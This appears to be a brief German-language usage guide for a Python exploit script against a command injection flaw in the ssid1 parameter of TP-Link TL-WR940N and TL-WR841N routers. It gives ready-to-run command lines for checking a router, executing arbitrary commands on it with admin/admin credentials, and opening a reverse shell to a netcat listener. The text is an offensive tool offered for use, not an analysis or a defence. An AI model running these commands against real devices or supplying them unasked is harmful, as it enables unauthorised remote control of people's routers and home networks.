
Python Exploit für TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability
Einfacher Sicherheitscheck:
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
Eigenen Befehl ausführen:
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
Reverse Shell (zuerst Listener mit nc -lvnp 4444 einrichten):
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
Wichtige Hinweise:
Die Schwachstelle besteht aufgrund unzureichender Eingabebereinigung im ssid1-Parameter des Endpunkts /userRpm/WlanNetworkRpm.htm, was durch speziell gestaltete Anfragen eine Befehlsinjektion ermöglicht.